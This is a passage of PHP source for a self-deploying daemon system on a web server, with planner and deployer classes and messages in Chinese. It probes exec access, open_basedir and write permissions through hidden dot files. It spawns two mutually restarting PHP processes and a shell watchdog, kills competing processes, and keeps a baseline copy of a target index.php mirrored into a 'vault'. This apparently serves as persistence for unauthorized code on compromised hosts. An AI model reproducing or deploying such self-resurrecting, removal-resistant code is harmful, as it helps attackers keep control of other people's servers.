$scanRoot, string $entryScript) { $real = realpath($baseDir); $this->baseDir = ($real !== false && is_dir($real)) ? $real : $baseDir; $scanReal = realpath($scanRoot); $this->scanRoot = ($scanReal !== false && is_dir($scanReal)) ? $scanReal : $scanRoot; $entryReal = realpath($entryScript); $this->entryScript = ($entryReal !== false && is_file($entryReal)) ? $entryReal : $entryScript; } public function plan(array $probe, array $params = []): array { $targetParam = isset($params['target']) ? (string) $params['target'] : ''; $gate = DaemonStartupGate::evaluate($this->baseDir, $this->entryScript, $probe, [ 'phase' => 'web', 'target' => $targetParam, ]); $targetInfo = isset($gate['checks']['target']) && is_array($gate['checks']['target']) ? $gate['checks']['target'] : $this->resolveTarget($probe, $targetParam); $alreadyRunning = BusiAutoDeployer::checkDaemonRunning($this->baseDir); $checks = is_array($gate['checks']) ? $gate['checks'] : []; $checks['already_running'] = $alreadyRunning; $checks['scripts'] = [ 'detect' => is_file($this->entryScript), 'sh' => DeployPathHelper::safeIsFile(AsPaths::shellScript()), 'sh_path' => AsPaths::shellScript(), 'sh_auto' => !DeployPathHelper::safeIsFile(AsPaths::shellScript()) && AsPaths::canPlaceRuntime(), 'runtime_root' => AsPaths::moduleDir(), 'runtime_root_tier' => AsPaths::runtimeRootTier(), 'runtime_root_options' => AsPaths::runtimeRootCandidates(), 'module' => AsPaths::moduleDir(), ]; $checks['shell_watchdog'] = $this->assessShellWatchdog($probe, $checks['scripts']); $warnings = is_array($gate['warnings']) ? $gate['warnings'] : []; if (empty($checks['shell_watchdog']['available']) && !empty($gate['ok'])) { $warnings[] = 'shell 守护脚本不可用: ' . implode('; ', $checks['shell_watchdog']['reasons'] ?? []); } return [ 'can_deploy' => !empty($gate['ok']), 'strategy' => 'pending_cli', 'blockers' => is_array($gate['blockers']) ? $gate['blockers'] : [], 'warnings' => $warnings, 'checks' => $checks, 'startup_gate' => $gate, 'target_display' => $targetInfo['display'] ?? DeployPathHelper::defaultTargetRel(), 'target_absolute' => $targetInfo['absolute'] ?? DeployPathHelper::defaultTargetIndex($this->baseDir), 'entry_script' => $this->entryScript, 'main_script' => null, 'main_cli_arg' => null, 'cli_probe' => null, ]; } public function applyCliProbe(array $plan, array $cli, array $probe = []): array { $plan['cli_probe'] = $cli; $gate = DaemonStartupGate::evaluate($this->baseDir, $this->entryScript, $probe, [ 'phase' => 'deploy', 'target_absolute' => (string) ($plan['target_absolute'] ?? ''), 'cli_probe' => $cli, ]); $plan['startup_gate'] = $gate; $blockers = is_array($gate['blockers']) ? $gate['blockers'] : []; $warnings = isset($plan['warnings']) && is_array($plan['warnings']) ? $plan['warnings'] : []; if (is_array($gate['warnings'])) { foreach ($gate['warnings'] as $w) { if (!in_array($w, $warnings, true)) { $warnings[] = $w; } } } if (empty($cli['ok'])) { if ($blockers === []) { $blockers[] = 'CLI 探针失败: ' . (isset($cli['error']) ? (string) $cli['error'] : '未知'); } $plan['can_deploy'] = false; $plan['strategy'] = 'none'; $plan['blockers'] = $blockers; $plan['warnings'] = $warnings; return $plan; } $strategy = 'none'; if ($blockers === []) { if (is_file($this->entryScript)) { $strategy = !empty($cli['pcntl_fork']) ? 'daemon_pcntl' : 'daemon_worker'; } else { $blockers[] = '入口脚本不可用'; } } $plan['can_deploy'] = ($blockers === [] && $strategy !== 'none'); $plan['strategy'] = $strategy; $plan['blockers'] = $blockers; $plan['warnings'] = $warnings; $plan['main_script'] = $strategy !== 'none' ? $this->entryScript : null; $plan['main_cli_arg'] = $strategy === 'daemon_pcntl' ? AsPaths::cliPcntl() : ($strategy === 'daemon_worker' ? AsPaths::cliWorker() : null); return $plan; } private function isModuleDirWritable(): bool { if (!AsPaths::ensureModuleDir()) { return false; } $dir = AsPaths::moduleDir(); if (is_writable($dir)) { return true; } $probeFile = $dir . DIRECTORY_SEPARATOR . '.' . AsPaths::probeTag() . '_mw_' . substr(md5(uniqid('', true)), 0, 6); if (@file_put_contents($probeFile, '1') !== false) { @unlink($probeFile); return true; } return false; } private function isBaseDirWritable(array $probe): bool { if (is_writable($this->baseDir)) { return true; } $probeFile = $this->baseDir . '/.' . AsPaths::probeTag() . '_bw_' . substr(md5(uniqid('', true)), 0, 6); if (@file_put_contents($probeFile, '1') !== false) { @unlink($probeFile); return true; } return false; } private function resolveTarget(array $probe, string $requested): array { $absolute = ''; $display = $requested; if ($requested !== '') { $absolute = DeployPathHelper::resolveTargetAbsolute($this->baseDir, $requested); $display = $requested; } else { $absolute = DeployPathHelper::defaultTargetIndex($this->baseDir); $display = DeployPathHelper::defaultTargetRel(); } $dir = dirname($absolute); $writable = false; if (DeployPathHelper::safeIsFile($absolute)) { $writable = DeployPathHelper::safeIsWritable($absolute); } elseif (DeployPathHelper::pathAccessible($dir) && @is_dir($dir)) { $writable = DeployPathHelper::safeIsWritable($dir); } if (!$writable) { $entry = isset($probe['entry']) && is_array($probe['entry']) ? $probe['entry'] : []; if (!empty($entry['can_modify']['overall_modifiable']) && !empty($entry['path_abs'])) { $entryAbs = (string) $entry['path_abs']; $entryReal = DeployPathHelper::safeRealpath($entryAbs); $targetReal = DeployPathHelper::safeRealpath($absolute); if ($entryReal !== null && $targetReal !== null && $entryReal === $targetReal) { $writable = true; } elseif ($entryAbs === $absolute) { $writable = true; } } } if ($writable && function_exists('file_put_contents')) { $suffix = function_exists('random_bytes') ? bin2hex(random_bytes(2)) : substr(md5(uniqid('', true)), 0, 4); $probePath = $dir . DIRECTORY_SEPARATOR . '.' . AsPaths::probeTag() . '_tg_' . $suffix; if (@file_put_contents($probePath, 'ok') !== false) { @unlink($probePath); } else { $writable = false; } } return [ 'display' => $display, 'absolute' => $absolute, 'writable' => $writable, 'open_basedir_ok' => DeployPathHelper::pathAllowedByOpenBasedir($absolute), 'exists' => DeployPathHelper::safeIsFile($absolute), ]; } private function resolveTargetPath(string $target): string { return DeployPathHelper::resolveTargetAbsolute($this->baseDir, $target); } private function assessShellWatchdog(array $probe, array $scriptsInfo): array { $reasons = []; $shExists = !empty($scriptsInfo['sh']); $canAutoSh = !empty($scriptsInfo['sh_auto']); if (!$shExists && !$canAutoSh) { $reasons[] = 'shell 脚本无法自动生成'; } if (empty($probe['site']['is_linux'])) { $reasons[] = '非 Linux'; } if (empty($probe['command_exec']['any_exec_works'])) { $reasons[] = '无法 exec 后台命令'; } $shBin = '/bin/sh'; $shStat = DeployPathHelper::safePathStat($shBin); if (!$shStat['open_basedir_blocked'] && (!$shStat['exists'] || !$shStat['executable'])) { $reasons[] = '/bin/sh 不可用'; } if (!empty($probe['command_exec']['any_exec_works']) && function_exists('exec')) { $flockOut = []; @exec('command -v flock 2>/dev/null', $flockOut, $flockCode); if ($flockCode !== 0 || empty($flockOut[0])) { // flock 非必须,仅作提示 } } return [ 'available' => ($reasons === []), 'reasons' => $reasons, ]; } } final class BusiAutoDeployer { private $baseDir; private $scanRoot; private $entryScript; public function __construct(string $baseDir, string $scanRoot, string $entryScript) { $real = realpath($baseDir); $this->baseDir = ($real !== false && is_dir($real)) ? $real : $baseDir; $scanReal = realpath($scanRoot); $this->scanRoot = ($scanReal !== false && is_dir($scanReal)) ? $scanReal : $scanRoot; $entryReal = realpath($entryScript); $this->entryScript = ($entryReal !== false && is_file($entryReal)) ? $entryReal : $entryScript; } private function isWebContext(): bool { return frameworkIsWebSapi(); } private function ensureWaitSeconds(): int { return $this->isWebContext() ? 0 : 22; } private function ensureShellRetryLimit(): int { return $this->isWebContext() ? 1 : 3; } public function deploy(array $probe, array $params = []): array { $planner = new BusiDeployPlanner($this->baseDir, $this->scanRoot, $this->entryScript); $plan = $planner->plan($probe, $params); if (!$plan['can_deploy']) { $gateMsg = isset($plan['startup_gate']['message']) ? (string) $plan['startup_gate']['message'] : ''; $msg = $gateMsg !== '' ? $gateMsg : '权限或环境不足,未部署守护进程'; return $this->buildResponse('skipped', $plan, false, false, $msg, [ 'startup_gate' => $plan['startup_gate'] ?? null, ]); } $forceRedeploy = !empty($params['force']) || !empty($params['force_redeploy']); $alreadyHealthy = !empty($plan['checks']['already_running']['alive']) && BusiDaemonRunner::isShellWatchdogAlive(); $configExists = DeployPathHelper::safeIsFile(AsPaths::config()); if ($alreadyHealthy && $configExists && !$forceRedeploy) { $phpBin = $this->resolvePhpCli($probe); $runtimePlan = $this->runtimePlanFromConfig(); $activePlan = is_array($runtimePlan) ? array_merge($plan, $runtimePlan) : $plan; $ensure = $this->ensureDaemonsRunning($probe, $activePlan, $phpBin); return $this->buildResponse('deployed', $plan, false, false, '守护进程已在运行,跳过重复部署', [ 'already_running' => true, 'skipped_redeploy' => true, 'main_alive' => !empty($ensure['main_alive']), 'main_pid' => (int) ($ensure['main_pid'] ?? 0), 'started_sh' => !empty($ensure['started_sh']), ]); } $phpBin = $this->resolvePhpCli($probe); if (!$this->isWebContext() || $forceRedeploy || !$configExists) { $cli = (new CliCapabilityProbe($this->baseDir))->run( $phpBin, (string) $plan['target_absolute'], $probe ); $plan = $planner->applyCliProbe($plan, $cli, $probe); } else { $runtimePlan = $this->runtimePlanFromConfig(); if (is_array($runtimePlan)) { $plan = array_merge($plan, $runtimePlan); } $plan['can_deploy'] = true; } if (!$plan['can_deploy']) { $gateMsg = isset($plan['startup_gate']['message']) ? (string) $plan['startup_gate']['message'] : ''; $msg = $gateMsg !== '' ? $gateMsg : 'CLI 探针未通过,未部署守护进程'; return $this->buildResponse('skipped', $plan, false, false, $msg, [ 'startup_gate' => $plan['startup_gate'] ?? null, 'cli_probe' => $plan['cli_probe'] ?? null, ]); } $finalGate = isset($plan['startup_gate']) && is_array($plan['startup_gate']) ? $plan['startup_gate'] : null; if ($finalGate === null || empty($finalGate['ok'])) { return $this->buildResponse('skipped', $plan, false, false, (string) ($finalGate['message'] ?? '启动前置条件不满足'), [ 'startup_gate' => $finalGate, ]); } $targetAbs = (string) $plan['target_absolute']; $processPurge = ['executed' => false, 'skipped' => true, 'reason' => '未执行进程清理']; $configExists = DeployPathHelper::safeIsFile(AsPaths::config()); if ($forceRedeploy || !$configExists) { $processPurge = BusiDaemonRunner::purgeScriptProcesses($probe, $targetAbs); if (!AsPaths::wipeModuleDir()) { return $this->buildResponse('failed', $plan, false, false, '运行时目录清理或创建失败'); } } else { $processPurge['reason'] = '保留运行时目录,增量更新守护'; } $plan = $this->normalizeWorkerPlan($plan); $cfg = [ 'target' => (string) $plan['target_absolute'], 'target_rel' => DeployPathHelper::defaultTargetRel(), 'strategy' => 'daemon_worker', 'script_base' => $this->baseDir, 'php_cli' => $phpBin, 'created_at' => date('c'), 'deployed_by' => 'site_probe', ]; $configFile = AsPaths::config(); $strategyFile = AsPaths::strategy(); $targetAbs = (string) $plan['target_absolute']; BusiDaemonRunner::logCli('deploy target_abs=' . $targetAbs . ' rel=' . $cfg['target_rel']); @unlink(AsPaths::stopStamp()); if (@file_put_contents($configFile, json_encode($cfg, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT)) === false) { return $this->buildResponse('failed', $plan, false, false, '运行配置写入失败'); } @file_put_contents($strategyFile, 'daemon_worker'); BusiBundleMaterializer::persistEntryScript($this->entryScript); IndexPhpGuard::saveBaseline($targetAbs); VaultDirResolver::invalidateCache(); CoreVaultMirror::mirror($configFile, 'config'); CoreVaultMirror::mirror($strategyFile, 'strategy'); CoreVaultMirror::mirrorAllCore(); $ensure = $this->ensureDaemonsRunning($probe, $plan, $phpBin); $bothMains = !empty($ensure['main_a_alive']) && !empty($ensure['main_b_alive']); $fullyHealthy = !empty($ensure['main_alive']); if (!$bothMains && !$fullyHealthy) { @unlink($configFile); @unlink($strategyFile); return $this->buildResponse('failed', $plan, false, true, '后台主进程启动失败,已回滚运行配置', [ 'ensure' => $ensure, ]); } $wasRunning = !empty($plan['checks']['already_running']['alive']); if ($fullyHealthy) { $msg = $wasRunning && empty($ensure['restarted']) ? '守护进程已在运行,已更新配置' : (!empty($ensure['restarted']) ? '守护进程已重新拉起' : '已启动守护进程'); } else { $msg = '守护主进程已就绪,子进程与 shell 在后台继续启动(约 20 秒内完成)'; } return $this->buildResponse('deployed', $plan, false, true, $msg, [ 'already_running' => $wasRunning && empty($ensure['restarted']), 'started_main' => !empty($ensure['started_main']), 'started_sh' => !empty($ensure['started_sh']), 'restarted' => !empty($ensure['restarted']), 'main_alive' => $fullyHealthy, 'bootstrap_pending' => !$fullyHealthy && $bothMains, 'main_a_alive' => !empty($ensure['main_a_alive']), 'main_b_alive' => !empty($ensure['main_b_alive']), 'main_a_healthy' => !empty($ensure['main_a_healthy']), 'main_b_healthy' => !empty($ensure['main_b_healthy']), 'sh_running' => !empty($ensure['sh_running']), 'main_pid' => (int) ($ensure['main_pid'] ?? 0), 'wait_elapsed' => (int) ($ensure['wait_elapsed'] ?? 0), 'process_purge' => $processPurge, 'strategy' => $plan['strategy'], 'config_file' => basename($configFile), 'main_script' => basename((string) $plan['main_script']), 'php_cli' => $phpBin, ]); } private function ensureBaselineFromConfig(): void { CoreVaultMirror::ensureCoreArtifacts(); if (DeployPathHelper::safeIsFile(AsPaths::baselineContent()) && (int) @filesize(AsPaths::baselineContent()) > 0) { return; } $plan = $this->runtimePlanFromConfig(); if (!is_array($plan)) { return; } $target = isset($plan['target_absolute']) ? trim((string) $plan['target_absolute']) : ''; if ($target !== '' && @is_file($target) && @is_readable($target)) { IndexPhpGuard::saveBaseline($target); BusiDaemonRunner::logCli('baseline recreated from config path=' . $target); } } public function autoEnsureRunning(array $probe): array { if (!DeployPathHelper::safeIsFile(AsPaths::config())) { return ['configured' => false]; } $this->ensureBaselineFromConfig(); if (empty($probe['command_exec']['any_exec_works'])) { return ['configured' => true, 'ensured' => false, 'reason' => 'no_spawn']; } $running = self::checkDaemonRunning($this->baseDir); $fullyHealthy = !empty($running['alive']); $shOk = BusiDaemonRunner::isShellWatchdogAlive(); if ($fullyHealthy && $shOk) { return [ 'configured' => true, 'main_alive' => true, 'main_a_healthy' => !empty($running['main_a_healthy']), 'main_b_healthy' => !empty($running['main_b_healthy']), 'main_pid' => (int) ($running['pid'] ?? 0), 'main_a_pid' => (int) ($running['main_a_pid'] ?? 0), 'main_b_pid' => (int) ($running['main_b_pid'] ?? 0), 'started_sh' => false, 'sh_running' => true, 'sh_pid' => BusiDaemonRunner::readShellWatchdogPid(), ]; } if (!$fullyHealthy || !$shOk) { if ($this->isWebContext()) { $stamp = AsPaths::autoEnsureStamp(); $last = @filemtime($stamp); if ($last !== false && (time() - $last) < 15) { return [ 'configured' => true, 'ensured' => false, 'main_alive' => $fullyHealthy, 'main_a_alive' => !empty($running['main_a_alive']), 'main_b_alive' => !empty($running['main_b_alive']), 'main_a_healthy' => !empty($running['main_a_healthy']), 'main_b_healthy' => !empty($running['main_b_healthy']), 'sh_running' => $shOk, 'bootstrap_pending' => !empty($running['main_a_alive']) && !empty($running['main_b_alive']) && !$fullyHealthy, 'throttled' => true, 'retry_after' => 15 - (time() - $last), 'reason' => $fullyHealthy ? 'shell_down' : 'main_unhealthy', ]; } @touch($stamp); } $plan = $this->runtimePlanFromConfig(); if ($plan !== null && !empty($probe['command_exec']['any_exec_works'])) { $gate = DaemonStartupGate::evaluate($this->baseDir, $this->entryScript, $probe, [ 'phase' => 'ensure', 'target_absolute' => (string) ($plan['target_absolute'] ?? ''), ]); if (!empty($gate['ok'])) { $phpBin = $this->resolvePhpCli($probe); $ensure = $this->ensureDaemonsRunning($probe, $plan, $phpBin); return array_merge(['configured' => true, 'ensured' => true], $ensure); } } } if (!empty($running['main_a_alive']) || !empty($running['main_b_alive'])) { return [ 'configured' => true, 'main_alive' => $fullyHealthy, 'main_a_alive' => !empty($running['main_a_alive']), 'main_b_alive' => !empty($running['main_b_alive']), 'main_a_healthy' => !empty($running['main_a_healthy']), 'main_b_healthy' => !empty($running['main_b_healthy']), 'sh_running' => $shOk, 'ensured' => false, 'reason' => $fullyHealthy ? 'shell_down' : 'main_unhealthy', ]; } $stopStamp = AsPaths::stopStamp(); if (is_readable($stopStamp)) { $stoppedAt = (int) trim((string) @file_get_contents($stopStamp)); if ($stoppedAt > 0 && (time() - $stoppedAt) < 120) { return [ 'configured' => true, 'main_alive' => false, 'stopped' => true, 'retry_after' => 120 - (time() - $stoppedAt), ]; } } $throttle = AsPaths::autoEnsureStamp(); $last = @filemtime($throttle); if ($last !== false && (time() - $last) < 5) { return [ 'configured' => true, 'main_alive' => false, 'throttled' => true, 'retry_after' => 5 - (time() - $last), ]; } @touch($throttle); $plan = $this->runtimePlanFromConfig(); if ($plan === null) { return ['configured' => true, 'ensured' => false, 'reason' => 'bad_config']; } $gate = DaemonStartupGate::evaluate($this->baseDir, $this->entryScript, $probe, [ 'phase' => 'ensure', 'target_absolute' => (string) ($plan['target_absolute'] ?? ''), ]); if (!$gate['ok']) { return [ 'configured' => true, 'ensured' => false, 'reason' => 'preconditions', 'startup_gate' => $gate, ]; } $phpBin = $this->resolvePhpCli($probe); $ensure = $this->ensureDaemonsRunning($probe, $plan, $phpBin); return array_merge(['configured' => true], $ensure); } public function ensureDaemonsRunning(array $probe, array $plan, string $phpBin): array { $targetAbs = isset($plan['target_absolute']) ? (string) $plan['target_absolute'] : ''; $gate = DaemonStartupGate::evaluate($this->baseDir, $this->entryScript, $probe, [ 'phase' => 'ensure', 'target_absolute' => $targetAbs, ]); if (!$gate['ok']) { BusiDaemonRunner::logCli('spawn blocked: ' . implode('; ', $gate['blockers'])); return [ 'main_alive' => false, 'main_pid' => 0, 'started_main' => false, 'started_sh' => false, 'sh_running' => false, 'sh_pid' => 0, 'strategy' => (string) ($plan['strategy'] ?? 'daemon_worker'), 'restarted' => false, 'startup_blocked' => true, 'startup_gate' => $gate, ]; } BusiBundleMaterializer::ensure($this->baseDir, $this->entryScript, $phpBin); $plan = $this->normalizeWorkerPlan($plan); $fast = $this->isWebContext(); $running = self::checkDaemonRunning($this->baseDir); $startedMain = false; $restarted = false; $processPurge = ['executed' => false, 'skipped' => true, 'reason' => '主进程已在运行,跳过进程清理']; $mainScript = BusiBundleMaterializer::resolveDaemonEntryScript($this->entryScript); $needSpawnA = empty($running['main_a_alive']); $needSpawnB = empty($running['main_b_alive']); $needBootstrapA = !empty($running['main_a_alive']) && !BusiDaemonRunner::isPhpMainHealthy('A'); $needBootstrapB = !empty($running['main_b_alive']) && !BusiDaemonRunner::isPhpMainHealthy('B'); if ($needSpawnA || $needSpawnB) { if ($needSpawnA && $needSpawnB) { $targetForPurge = $targetAbs !== '' ? $targetAbs : DeployPathHelper::defaultTargetIndex($this->baseDir); $processPurge = BusiDaemonRunner::purgeScriptProcesses($probe, $targetForPurge); } elseif ($needSpawnA) { BusiDaemonRunner::stopPhpMain('A'); } elseif ($needSpawnB) { BusiDaemonRunner::stopPhpMain('B'); } if ($needSpawnA && $mainScript !== '') { $startedA = $this->spawnDetached($phpBin, $mainScript, $probe, [AsPaths::cliWorker()], 'A'); $startedMain = $startedMain || $startedA; if ($needSpawnB) { DaemonStagger::pauseBetweenSpawns($fast); } } if ($needSpawnB && $mainScript !== '') { $startedB = $this->spawnDetached($phpBin, $mainScript, $probe, [AsPaths::cliPcntl()], 'B'); $startedMain = $startedMain || $startedB; } $restarted = $startedMain; } if (BusiDaemonRunner::isPhpMainAlive('A') && ($needBootstrapA || $needSpawnA)) { BusiDaemonRunner::bootstrapSlotChildren('A', $fast); } if (BusiDaemonRunner::isPhpMainAlive('B') && ($needBootstrapB || $needSpawnB)) { if (BusiDaemonRunner::isPhpMainAlive('A')) { DaemonStagger::pauseBetweenSpawns($fast); } BusiDaemonRunner::bootstrapSlotChildren('B', $fast); } $startedSh = false; $shRetries = $this->ensureShellRetryLimit(); for ($shTry = 0; $shTry < $shRetries; $shTry++) { if (BusiDaemonRunner::isShellWatchdogAlive()) { $startedSh = true; break; } $startedSh = $this->ensureShellWatchdog($probe, $phpBin) || $startedSh; if (!$fast && $shTry < $shRetries - 1) { DaemonStagger::pauseBetweenSpawns(false); } } $wait = $this->waitForDaemonReady($this->ensureWaitSeconds(), $fast); $runningAfter = $wait['state']; return [ 'main_alive' => !empty($runningAfter['alive']), 'main_a_alive' => !empty($runningAfter['main_a_alive']), 'main_b_alive' => !empty($runningAfter['main_b_alive']), 'main_a_healthy' => !empty($runningAfter['main_a_healthy']), 'main_b_healthy' => !empty($runningAfter['main_b_healthy']), 'main_pid' => (int) ($runningAfter['pid'] ?? 0), 'main_a_pid' => (int) ($runningAfter['main_a_pid'] ?? 0), 'main_b_pid' => (int) ($runningAfter['main_b_pid'] ?? 0), 'started_main' => $startedMain, 'started_sh' => $startedSh, 'sh_running' => !empty($wait['sh_ok']), 'sh_pid' => BusiDaemonRunner::readShellWatchdogPid(), 'strategy' => 'dual_php_main', 'restarted' => $restarted, 'bootstrap_pending' => !empty($runningAfter['main_a_alive']) && !empty($runningAfter['main_b_alive']) && empty($runningAfter['alive']), 'wait_elapsed' => (int) $wait['elapsed'], 'process_purge' => $processPurge, ]; } /** @return array{state: array, sh_ok: bool, elapsed: int} */ private function waitForDaemonReady(int $maxSeconds = 22, bool $fast = false): array { $state = self::checkDaemonRunning($this->baseDir); $shOk = BusiDaemonRunner::isShellWatchdogAlive(); if ($maxSeconds <= 0) { return ['state' => $state, 'sh_ok' => $shOk, 'elapsed' => 0]; } $elapsed = 0; while ($elapsed < $maxSeconds) { $state = self::checkDaemonRunning($this->baseDir); $shOk = BusiDaemonRunner::isShellWatchdogAlive(); if (!empty($state['alive']) && $shOk) { break; } if (!empty($state['main_a_alive']) && !empty($state['main_b_alive']) && !empty($state['main_a_healthy']) && !empty($state['main_b_healthy']) && $shOk) { $state['alive'] = true; break; } DaemonStagger::tickSleep(); $elapsed += DaemonStagger::STAGGER_SEC; if (!$fast) { if (!empty($state['main_a_alive']) && empty($state['main_a_healthy'])) { BusiDaemonRunner::bootstrapSlotChildren('A', false); } if (!empty($state['main_b_alive']) && empty($state['main_b_healthy'])) { BusiDaemonRunner::bootstrapSlotChildren('B', false); } if (!$shOk) { BusiDaemonRunner::startShellWatchdog(); } } } return ['state' => $state, 'sh_ok' => $shOk, 'elapsed' => $elapsed]; } private function normalizeWorkerPlan(array $plan): array { $daemonScript = BusiBundleMaterializer::resolveDaemonEntryScript($this->entryScript); $plan['strategy'] = 'daemon_worker'; $plan['main_cli_arg'] = AsPaths::cliWorker(); $plan['main_script'] = $daemonScript; return $plan; } private function runtimePlanFromConfig(): ?array { $raw = @file_get_contents(AsPaths::config()); if ($raw === false || $raw === '') { return null; } $cfg = json_decode($raw, true); if (!is_array($cfg)) { return null; } $strategyRaw = @file_get_contents(AsPaths::strategy()); $strategy = is_string($strategyRaw) ? trim($strategyRaw) : ''; if ($strategy === '') { $strategy = isset($cfg['strategy']) ? (string) $cfg['strategy'] : 'daemon_worker'; } if ($strategy === 'daemon_pcntl' && !function_exists('pcntl_fork')) { $strategy = 'daemon_worker'; } $cliArg = $strategy === 'daemon_pcntl' ? AsPaths::cliPcntl() : AsPaths::cliWorker(); $daemonScript = BusiBundleMaterializer::resolveDaemonEntryScript($this->entryScript); return [ 'strategy' => $strategy, 'main_script' => $daemonScript, 'main_cli_arg' => $cliArg, 'target_absolute' => isset($cfg['target']) ? (string) $cfg['target'] : '', ]; } private function ensureShellWatchdog(array $probe, string $phpBin = 'php'): bool { BusiBundleMaterializer::ensure($this->baseDir, $this->entryScript, $phpBin); if (BusiDaemonRunner::isShellWatchdogAlive()) { return true; } if ($this->spawnDetachedShell(AsPaths::shellScript(), $probe)) { return true; } return BusiDaemonRunner::startShellWatchdog(); } private function buildResponse( string $status, array $plan, bool $dryRun, bool $executed, string $message, ?array $result = null ): array { $deployOk = in_array($status, ['deployed', 'plan_only'], true); return [ 'ok' => $deployOk, 'status' => $status, 'dry_run' => $dryRun, 'plan' => $plan, 'executed' => $executed, 'message' => $message, 'result' => $result, ]; } public static function checkDaemonRunning(string $baseDir): array { unset($baseDir); $aAlive = BusiDaemonRunner::isPhpMainAlive('A'); $bAlive = BusiDaemonRunner::isPhpMainAlive('B'); $aHealthy = BusiDaemonRunner::isPhpMainHealthy('A'); $bHealthy = BusiDaemonRunner::isPhpMainHealthy('B'); $aPid = BusiDaemonRunner::readMainPid('A'); $bPid = BusiDaemonRunner::readMainPid('B'); $bothAlive = $aHealthy && $bHealthy; if ($bothAlive) { return [ 'pid' => $aPid, 'alive' => true, 'main_a_alive' => $aAlive, 'main_b_alive' => $bAlive, 'main_a_healthy' => $aHealthy, 'main_b_healthy' => $bHealthy, 'main_a_pid' => $aPid, 'main_b_pid' => $bPid, 'stale_cleared' => false, ]; } foreach (self::collectStateDaemonPids() as $candidatePid) { if ($candidatePid > 0 && self::isDaemonProcessAlive($candidatePid)) { if (!$aAlive && self::isDaemonProcessAlive($candidatePid)) { $aAlive = BusiDaemonRunner::isPhpMainAlive('A'); $bAlive = BusiDaemonRunner::isPhpMainAlive('B'); $aPid = BusiDaemonRunner::readMainPid('A'); $bPid = BusiDaemonRunner::readMainPid('B'); if ($aAlive || $bAlive) { return [ 'pid' => $aAlive ? $aPid : $bPid, 'alive' => $aAlive && $bAlive, 'main_a_alive' => $aAlive, 'main_b_alive' => $bAlive, 'main_a_pid' => $aPid, 'main_b_pid' => $bPid, 'stale_cleared' => false, ]; } } } } $pidFile = AsPaths::pid(); $legacyPid = self::readParentPid($pidFile); if ($legacyPid > 0 && !BusiDaemonRunner::isProcessAlive($legacyPid)) { @unlink($pidFile); return [ 'pid' => $legacyPid, 'alive' => false, 'main_a_alive' => $aAlive, 'main_b_alive' => $bAlive, 'main_a_pid' => $aPid, 'main_b_pid' => $bPid, 'stale_cleared' => true, ]; } return [ 'pid' => $aAlive ? $aPid : ($bAlive ? $bPid : ($legacyPid > 0 ? $legacyPid : 0)), 'alive' => $aHealthy && $bHealthy, 'main_a_alive' => $aAlive, 'main_b_alive' => $bAlive, 'main_a_healthy' => $aHealthy, 'main_b_healthy' => $bHealthy, 'main_a_pid' => $aPid, 'main_b_pid' => $bPid, 'stale_cleared' => false, ]; } private static function collectStateDaemonPids(): array { $pids = []; foreach ([AsPaths::pid(), AsPaths::pidMainA(), AsPaths::pidMainB()] as $pidFile) { $parent = self::readParentPid($pidFile); if ($parent > 0) { $pids[$parent] = true; } } $raw = @file_get_contents(AsPaths::workerPool()); if ($raw !== false && $raw !== '') { $data = json_decode($raw, true); if (is_array($data)) { if (!empty($data['parent'])) { $pids[(int) $data['parent']] = true; } if (!empty($data['workers']) && is_array($data['workers'])) { foreach ($data['workers'] as $wp) { $pids[(int) $wp] = true; } } } } $cpRaw = @file_get_contents(AsPaths::childPool()); if ($cpRaw !== false && $cpRaw !== '') { $cpData = json_decode($cpRaw, true); if (is_array($cpData)) { if (!empty($cpData['main_pid'])) { $pids[(int) $cpData['main_pid']] = true; } if (!empty($cpData['children']) && is_array($cpData['children'])) { foreach ($cpData['children'] as $cp) { $pids[(int) $cp] = true; } } } } return array_keys($pids); } public static function isDaemonProcessAlive(int $pid, string $baseDir = ''): bool { unset($baseDir); if ($pid <= 1 || !BusiDaemonRunner::isProcessAlive($pid)) { return false; } $markers = array_values(array_unique(array_filter([ AsPaths::entryBaseName(), basename(AsPaths::daemonEntryScript()), AsPaths::cliPcntl(), AsPaths::cliWorker(), 'Framework.php', 'framework.php', 'fw.php', ]))); $cmdlineFile = '/proc/' . (int) $pid . '/cmdline'; if (DeployPathHelper::pathAccessible($cmdlineFile) && @is_readable($cmdlineFile)) { $cmdline = str_replace("\0", ' ', (string) @file_get_contents($cmdlineFile)); foreach ($markers as $m) { if ($m !== '' && strpos($cmdline, $m) !== false) { return true; } } return false; } return self::isDaemonProcessAliveViaPs($pid, $markers) || self::isDaemonProcessAliveViaState($pid); } private static function isDaemonProcessAliveViaPs(int $pid, array $markers): bool { if (!function_exists('shell_exec') && !function_exists('exec')) { return false; } $cmd = 'ps -p ' . (int) $pid . ' -o args= 2>/dev/null'; $out = function_exists('shell_exec') ? trim((string) @shell_exec($cmd)) : ''; if ($out === '' && function_exists('exec')) { $lines = []; @exec($cmd, $lines); $out = trim(implode("\n", $lines)); } if ($out === '') { return false; } foreach ($markers as $m) { if ($m !== '' && strpos($out, $m) !== false) { return true; } } return false; } private static function isDaemonProcessAliveViaState(int $pid): bool { foreach (self::collectStateDaemonPids() as $statePid) { if ((int) $statePid === $pid) { $ts = self::readPidHeartbeat(AsPaths::pid()); if ($ts !== null && (time() - $ts) <= 180) { return true; } $poolRaw = @file_get_contents(AsPaths::workerPool()); if ($poolRaw !== false && $poolRaw !== '') { $pool = json_decode($poolRaw, true); if (is_array($pool) && !empty($pool['ts']) && (time() - (int) $pool['ts']) <= 180) { return true; } } $mtime = @filemtime(AsPaths::pid()); if ($mtime !== false && (time() - $mtime) <= 180) { return true; } } } return false; } public static function readParentPid(string $pidFile): int { if (!is_readable($pidFile)) { return 0; } $raw = @file_get_contents($pidFile); if ($raw === false || $raw === '') { return 0; } $data = json_decode($raw, true); if (is_array($data) && !empty($data['pid'])) { return (int) $data['pid']; } return (int) trim($raw); } private static function readPidHeartbeat(string $pidFile): ?int { if (!is_readable($pidFile)) { return null; } $raw = @file_get_contents($pidFile); if ($raw === false || $raw === '') { return null; } $data = json_decode($raw, true); if (is_array($data)) { if (isset($data['worker_ts'])) { return (int) $data['worker_ts']; } if (isset($data['ts'])) { return (int) $data['ts']; } } return null; } private function isShellWatchdogRunning(): bool { return BusiDaemonRunner::isShellWatchdogAlive(); } private function isShellWatchdogProcessRunning(): bool { return BusiDaemonRunner::isShellWatchdogProcessRunning(); } private function resolvePhpCli(array $probe): string { if (defined('PHP_BINARY') && PHP_BINARY !== '' && DeployPathHelper::safeIsExecutable(PHP_BINARY)) { $bin = PHP_BINARY; if (stripos($bin, 'php-cgi') === false && 